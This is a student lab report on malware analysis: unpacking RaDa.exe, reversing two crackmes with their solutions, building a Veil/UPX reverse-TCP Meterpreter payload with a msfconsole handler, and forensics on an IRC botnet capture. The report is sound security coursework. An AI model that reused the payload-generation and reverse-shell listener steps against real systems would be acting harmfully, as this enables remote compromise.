20242417 2026-2027-1 《网络与系统攻防技术》实验四实验报告
20242417 2026-2027-1 《网络与系统攻防技术》实验四实验报告
1. 基础知识
本次实验为恶意代码分析实践,涉及以下核心知识:
1.1 静态分析技术
不运行样本,通过反汇编、字符串提取、PE结构分析等手段解剖二进制。核心工具:file(文件识别)、PEiD/DIE(查壳)、strings(字符串提取)、IDA Pro(反汇编)。
1.2 脱壳技术
加壳是对可执行文件压缩/加密,运行时由壳代码解压后跳到原始入口。UPX是开源标准壳,用 upx -d 可直接脱壳;自定义壳常用超级巡警脱壳机、Scylla动态转储。
1.3 动态调试技术
在隔离环境运行样本,用调试器在关键API下断点(如connect、cmp/jz校验点),单步跟踪观察寄存器与栈,可修改标志位篡改分支。
1.4 IRC协议与僵尸网络
IRC是基于TCP的实时文本协议,默认端口6667(明文)、6697(加密)。客户端通过NICK、USER、JOIN命令注册并加入频道。僵尸网络(Botnet)是大量被控主机主动回连C2服务器,攻击者一对多下发指令,用于DDoS、垃圾邮件、挖矿、跳板等。
1.5 网络取证
通过pcap流量文件还原网络行为,Wireshark/tshark为核心工具,用display filter筛选流量,统计主机、识别攻击手法、还原入侵链。
2. 实验内容
本次实验共四个任务:任务一恶意代码文件类型标识、脱壳与字符串提取;任务二IDA Pro逆向分析crackme1与crackme2;任务三自制rada恶意样本全面分析;任务四基于Snort蜜罐数据的僵尸网络取证分析。
3. 实验过程
3.1 任务一:恶意代码文件类型标识、脱壳与字符串提取
3.1.1 文件类型与加壳识别
在Kali终端中,依次使用多种工具对RaDa.exe进行文件格式识别与查壳:
- (1) file命令基础识别:
$ file RaDa.exe

图3-1 file命令识别RaDa.exe:PE32 executable for MS Windows, Intel i386
结果表明RaDa.exe是32位Windows PE可执行程序(GUI),共3个节区。
- (2) pev工具集(pepack)识别PE信息与查壳:
$ pepack RaDa.exe

图3-2 pepack工具查壳结果
- (3) Detect It Easy (DIE) 图形化查壳:
$ die RaDa.exe

图3-3 DIE查壳(1)

图3-4 DIE查壳(2):识别出加壳类型
3.1.2 超级巡警脱壳
使用超级巡警脱壳机对加壳样本进行脱壳处理,输出RaDa_unpacked.exe:

图3-5 超级巡警脱壳机执行脱壳

图3-6 脱壳后生成的RaDa_unpacked.exe文件
3.1.3 字符串提取与作者发现
对脱壳后的样本使用strings命令提取所有可打印字符串:
$ strings RaDa_unpacked.exe

图3-7 strings命令提取字符串输出
进一步将结果保存到文件,并过滤作者关键词:
$ strings RaDa_unpacked.exe > strings.txt
$ strings RaDa_unpacked.exe | grep -i "raul\|david\|author"

图3-8 grep过滤到作者信息:(c) Raul Siles & David Perez
结论:RaDa恶意代码的编写作者是 Raul Siles 和 David Perez
3.2 任务二:IDA Pro逆向分析crackme
3.2.1 crackme1.exe 静态分析
- 步骤1:载入样本。打开IDA → File → Open,选中crackme1.exe,File type选择Portable executable for 80386 (PE),保持默认选项点击OK。

图3-9 IDA加载crackme1.exe的PE文件选项窗口
- 步骤2:等待自动分析完成。IDA自动进行反汇编、识别函数,直至Autoanalysis completed。

图3-10 IDA自动分析完成后的反汇编主界面
- 步骤3:定位字符串。按Shift+F12打开Strings窗口,找到成功/失败提示字符串:

图3-11 Strings窗口(Shift+F12)列出所有字符串
关键字符串:"I know the secret"(成功)、"I think you are missing something"(失败)、"Pardon? What did you say?"。
- 步骤4:双击"I know the secret"跳转,查看代码交叉引用(XREF):

图3-12 字符串定义与XREF引用位置
三个关键字符串均被函数sub_401280引用,即该校验函数。
- 步骤5:按G键跳转到sub_401280,分析反汇编逻辑:

图3-13 校验函数sub_401280反汇编代码
关键指令 cmp [ebp+arg_0], 2 与 jz short loc_4012D2:判断命令行参数个数是否为2(程序名+1个参数),等于则跳转成功分支。
- 步骤6:进入成功分支loc_4012D2,分析strcmp调用:

图3-14 strcmp调用处:push用户输入与密钥字符串地址
push offset aIKnowTheSecret ; "I know the secret"

图3-15 aIKnowTheSecret字符串定义:I know the secret
- 步骤7:查看loc_401310,发现call printf成功输出:

图3-16 loc_401310反汇编:printf调用

图3-17 成功提示字符串"You know how to speak to programs, Mr. Reverse-Engineer"
- 步骤8:命令行验证密码:

图3-18 运行crackme1传入密码,输出成功信息
crackme1正确密码:I know the secret
3.2.2 crackme2.exe 静态分析
采用同样流程分析crackme2:
- (1) Strings窗口查看关键字符串:

图3-19 crackme2的Strings窗口
- (2) 定位提示信息字符串的XREF:

图3-20 crackme2字符串交叉引用
- (3) 查看核心判断函数sub_401280:

图3-21 crackme2校验函数sub_401280
- (4) 查看loc_4012D5(文件名校验分支):

图3-22 loc_4012D5:argv[0]程序名校验
- (5) 查看loc_401313(密码校验分支):

图3-23 loc_401313:argv[1]密码字符串校验
- (6) 查看后续解密循环流程:

图3-24 异或解密循环:数组字节与0x42异或逐个输出
分析结论:crackme2采用两层校验——先校验argv[0]程序名是否为crackmeplease.exe,再校验argv[1]密码是否为"I know the secret"。两层通过后,循环33次将内置数组字节与0x42异或解密输出。
(7) 重命名crackme2.exe为crackmeplease.exe,传入密码验证:

图3-25 crackme2重命名后运行,解密输出成功信息
crackme2破解方法:重命名为crackmeplease.exe,运行参数输入"I know the secret"
3.2.3 IDA动态调试
在WinXP下使用IDA自带Local Win32 debugger进行动态调试:Debugger → Start process (F9)启动,在校验位置F2下断点,F7单步进入/F8单步跳过/F9继续运行。可在寄存器窗口修改ZF标志位(0改1)或把jnz改成jz,强制走成功分支进行验证。

图3-26 IDA动态调试:断点处寄存器与栈窗口

图3-27 动态调试篡改分支后程序输出success
3.3 任务三:自制rada恶意样本分析
3.3.1 样本制作与环境搭建
步骤1:在Kali中使用Veil框架生成反向连接payload(shikata_ga_nai多态编码):

图3-28 Veil框架生成payload(1)选择evasion模板

图3-29 Veil生成2417_rada.exe成功
步骤2:使用UPX对生成的样本加壳:
$ cp /var/lib/veil/output/compiled/2417_rada.exe ~/Desktop/
$ upx -9 ~/Desktop/2417_rada.exe -o ~/Desktop/2417_rada_upx.exe

图3-30 UPX加壳压缩完成
步骤3:通过VMware共享文件夹将样本传到WinXP靶机:

图3-31 Kali侧共享文件夹准备
步骤4:Kali端msfconsole开启监听:
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.88.129
msf > set LPORT 2417
msf > run

图3-32 msfconsole监听等待反向连接
3.3.2 静态分析(问题1-3)
- (1) 二进制摘要——计算文件哈希:
$ md5sum 2417_rada_upx.exe
$ sha256sum 2417_rada_upx.exe

图3-33 md5sum与sha256sum计算样本哈希
MD5/SHA256作为样本唯一指纹,可用于病毒库比对和样本追踪。
- (2) 文件类型识别:
$ file 2417_rada_upx.exe

图3-34 file识别为32位Windows PE程序
- (3) 加壳样本字符串提取(Kali侧):
$ strings 2417_rada_upx.exe > strings_packed.txt

图3-35 加壳后strings输出:UPX字段与乱码,无明文C2
加壳后看不到原始C2 IP和端口,字符串被压缩隐藏,证明UPX壳有效。
- (4) PEiD识别壳类型(WinXP侧):

图3-37 PEiD识别出UPX壳标记
3.3.3 脱壳过程(问题4)
(1) 先用超级巡警脱壳器尝试脱壳:

图3-38 超级巡警脱壳器执行脱壳
(2) 脱壳结果再放入PEiD检查,仍显示UPX0节区,说明超级巡警未完全脱掉UPX壳:

图3-39 脱壳后PEiD仍显示UPX0,未完全脱壳
(3) 改用UPX官方命令脱壳:
$ upx -d 2417_rada_upx.exe -o 2417_rada_realunpack.exe

图3-40 upx -d命令脱壳成功(Unpacked 1 file)
(4) 再次用PEiD验证,脱壳成功,壳标记消失:

图3-41 脱壳后PEiD验证:无壳标记
(5) 脱壳后用IDA Pro分析:

图3-42 IDA Strings视图:脱壳后可见明文字符串

图3-43 IDA Imports视图:完整导入函数列表(KERNEL32等)
- 样本采用的反逆向/防分析技术:
- shikata_ga_nai多态编码:每次生成payload字节不同,破坏固定特征码,静态杀毒难以识别。
- UPX加壳:压缩加密原始代码,入口点指向壳代码,必须脱壳才能看到真实导入表和payload。
3.3.4 动态调试分析
在WinXP的IDA中载入样本,Debugger → Select debugger选择Win32 debugger,启动调试后,在Modules窗口找到ws2_32.dll,搜索connect函数并按F2下断点。F9运行程序,等待connect断点命中。

图3-44 ws2_32.dll中connect函数下断点

图3-45 connect断点命中,栈窗口解析sockaddr_in获取C2地址
在ESP栈窗口解析sockaddr_in:+0为地址族(AF_INET=0x0002),+2为端口(网络字节序),+4为IP。同步观察Kali端msfconsole收到meterpreter会话,证明反向连接成功。
3.3.5 问题5-8总结
(5) 恶意代码分类:木马(Trojan)/远程访问木马(RAT)。理由:不自我复制(排除蠕虫)、不感染文件(排除病毒)、静默驻留建立反向控制通道(符合木马特征)。
(6) 相似工具:Metasploit Meterpreter、Gh0st Rat、BlackShades RAT、DarkComet RAT、NanoCore RAT、Cobalt Strike Beacon。
(7) 作者追溯:有限条件下可以——样本保留编译元数据/作者字符串、C2日志可溯源时可行;但msfvenom默认样本不含作者信息,加壳编码器会抹除元数据,纯二进制本身很难定位作者。
(8) 检测方法(6种):
- 特征码检测:提取固定字节序列比对,快但加壳即失效
- 哈希检测:MD5/SHA256与恶意库比对,简单但变种即失效
- 静态启发式:检查可疑API(VirtualAlloc、connect)、异常节区、加壳标记
- 动态行为监控:沙箱中运行,监控外连、进程创建、注册表修改
- 自动化沙箱:Cuckoo等自动分析输出行为报告
- 机器学习:提取PE特征训练模型识别未知样本
3.4 任务四:僵尸网络取证分析
3.4.1 前期准备
将题目提供的botnet_pcap_file.dat通过共享文件夹上传到Kali:

图3-46 Kali获取botnet_pcap_file.dat数据包
3.4.2 IRC协议与僵尸网络基础(问题1-2)
(1) IRC(Internet Relay Chat):基于TCP的实时文本协议。客户端加入时依次发送NICK(昵称)、USER(用户信息)、JOIN(加入频道)命令。常用TCP端口:6667(明文默认)、6668、6669;加密IRC使用6697。
(2) 僵尸网络(Botnet):大量被入侵主机(肉鸡)运行bot程序,主动连接攻击者C2服务器,攻击者一对多下发指令。用途:DDoS攻击、垃圾邮件、窃取信息、挖矿、内网扫描、流量代理跳板。
3.4.3 蜜罐通信的IRC服务器(问题3)
使用tshark筛选蜜罐172.16.134.191主动向外连接6667端口的流量:
$ tshark -r botnet_pcap_file.dat -Y "ip.src == 172.16.134.191 && tcp.dstport == 6667" -T fields -e ip.dst | sort | uniq

图3-47 tshark筛选蜜罐对外IRC连接
Wireshark图形界面同步过滤:

图3-48 Wireshark过滤ip.src==172.16.134.191 && tcp.dstport==6667
结果:蜜罐与4台IRC服务器通信——209.196.44.172、66.33.65.58、209.126.161.29、63.241.174.118。
3.4.4 访问僵尸网络的主机数量(问题4)
统计访问209.196.44.172的不同主机:
$ tshark -r botnet_pcap_file.dat -Y "ip.dst == 209.196.44.172 && tcp.port == 6667" -T fields -e ip.src | sort | uniq

图3-49 tshark列出访问209.196.44.172的源IP
$ tshark ... | sort | uniq | wc -l

图3-50 统计去重主机数
通过Wireshark Statistics → Endpoints交叉验证:

图3-51 Wireshark Endpoints统计
结论:访问该C2服务器的主机只有蜜罐172.16.134.191一台。
3.4.5 攻击源IP与漏洞类型(问题5-6)
(5) 过滤访问蜜罐的所有入站流量 ip.dst == 172.16.134.191:

图3-52 Wireshark过滤访问蜜罐的流量(1)

图3-53 攻击源IP列表(2)

图3-54 攻击源IP列表(3)

图3-55 攻击源IP列表(4)
(6) 攻击者尝试的安全漏洞:
- ① RPC DCOM(MS03-026,135端口)探测:
$ tshark -r botnet_pcap_file.dat -Y "tcp.dstport == 135"

图3-57 135端口三次握手建立连接

图3-58 连接正常关闭,仅端口探测无RPC交互
- ② NetBIOS(139端口)共享探测:

图3-59 139端口NetBIOS Session Request与SMB Tree Connect \\PC0191\C
- ③ SMB(445端口)流量:

图3-60 445端口SMB流量概览
查看SMB版本号:

图3-61 SMB Negotiate Protocol (0x72):SMBv1协议
SMBv1存在MS17-010(永恒之蓝)风险。进一步检查认证结果:
smb.cmd == 0x73 && smb.nt_status == 0xc000006d

图3-62 大量STATUS_LOGON_FAILURE:SMB口令暴力破解
大量认证失败包,说明正在进行SMB口令爆破,本次捕获的登录尝试均未成功。
- ④ IIS Index Server溢出(80端口,CVE-2000-0071):

图3-63 80端口可疑HTTP流量,大量连续字符填充
http.request.uri contains ".ida" or http.request.uri contains ".idq"

图3-64 /null.ida、/default.ida等请求:IIS .ida/.idq溢出攻击
攻击者请求/null.ida、/null.idq路径并在URL后拼接大量连续A/N字符,符合IIS Index Server缓冲区溢出攻击特征。
3.4.6 攻击成功判定(问题7)
(1) IRC僵尸网络植入成功:蜜罐主机主动向外发起6667连接,出现IRC NICK/USER报文:

图3-65 蜜罐主动外连IRC:NICK/USER命令,bot已回连C2
这是入侵成功的核心证据——主机已被攻陷并植入僵尸程序。
(2) SMB/PsExec攻击成功:

图3-66 SMB认证成功:NTLMSSP_AUTH Administrator + STATUS_SUCCESS
关键行为:Session Setup返回STATUS_SUCCESS(管理员密码验证通过);Tree Connect成功挂载ADMIN$、IPC$、C$管理共享;后续出现OpenSCManagerA、OpenServiceA等SVCCTL操作,并查询PSExecSVC.EXE——这是PsExec远程执行流程,攻击成功。
4. 问题及解决方案
问题1:超级巡警脱壳后PEiD仍显示UPX壳,脱壳不彻底
解决方案:UPX是开源标准壳,超级巡警对某些版本处理不完整。直接使用UPX官方脱壳命令 upx -d 成功率最高,脱壳后用PEiD验证壳标记消失即可。
问题2:IDA静态分析crackme不知从何入手
解决方案:逆向crackme的标准方法是"从字符串反向找代码"。Shift+F12打开Strings窗口,找到成功/失败提示字符串,通过XREF交叉引用定位校验函数。
问题3:connect断点命中后如何从栈上解析C2地址
解决方案:connect(s, name, namelen)参数从右往左压栈。ESP指向返回地址,依次取s、sockaddr指针、namelen。sockaddr结构:+0地址族、+2端口(网络字节序)、+4 IP(转点分十进制)。
5. 学习感悟、思考
通过本次恶意代码分析实验,我对恶意代码从文件识别、脱壳、静态反汇编、动态调试到网络取证的完整分析流程有了系统性认识。
第一,静态分析是基础但不是全部。加壳与多态编码让静态扫描失效,只有正确识别壳类型并脱壳,后续分析才有意义。这解释了为什么恶意代码作者投入大量精力在加壳混淆上。
第二,动态分析是验证假设的关键。在IDA中下断点、单步跟踪、观察寄存器和栈的过程,让我真正理解了程序执行的底层细节。修改ZF标志位篡改分支的技巧,让我体会到逆向不仅是"读懂程序"更是"控制程序"。
第三,网络取证揭示了完整攻击链。一次入侵是扫描、探测、爆破、溢出、植入、回连的链条。蜜罐从被动探测到主动连接IRC服务器的转变,就是从"被扫描"到"被攻陷"的临界点。检测异常出站流量往往比检测入站攻击更有效。
第四,恶意代码检测是攻防演进的领域。从特征码到哈希,从静态启发到动态行为,从沙箱到机器学习,每种方法都有局限。攻击者也在发展多态编码、沙箱检测等对抗技术,安全防御没有银弹,必须多层次纵深防御。

浙公网安备 33010602011771号